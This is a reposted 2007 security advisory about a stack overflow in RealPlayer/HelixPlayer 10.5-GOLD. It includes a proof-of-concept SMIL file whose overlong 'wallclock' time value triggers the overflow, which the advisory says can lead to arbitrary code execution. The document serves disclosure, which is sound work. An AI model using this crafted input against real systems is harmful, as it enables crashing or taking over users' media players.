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Tuesday, July 03, 2007

[EXPL] RealNetworks RealPlayer/HelixPlayer SMIL wallclock Stack Overflow Vulnerability (Exploit)

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RealNetworks RealPlayer/HelixPlayer SMIL wallclock Stack Overflow
Vulnerability (Exploit)
------------------------------------------------------------------------


SUMMARY

A vulnerabilty in the way RealNetworks' RealPlayer/HelixPlayer handles the
wallclock function allows attackers to cause the program to overflow an
internal buffer which in turn can be used to execute arbitrary code.

DETAILS

Vulnerable Systems:
* RealNetworks' RealPlayer and HelixPlayer version 10.5-GOLD

Exploit:
<!--
author: axis
site:

http://www.ph4nt0m.org
-->

<smil xmlns="http://www.w3.org/2000/SMIL20/CR/Language">
<body>
<par>
<img src="./1.jpg"
begin="wallclock(12:00:00.999999999999999999999999999999999
99999999999999999999999999999999999999999999999999999
9999999999999999999999999999999999999999999999+9)" dur="5s"/>
</par>
</body>
</smil>


ADDITIONAL INFORMATION

The information has been provided by axis.
The original article can be found at: <http://www.ph4nt0m.org>

http://www.ph4nt0m.org

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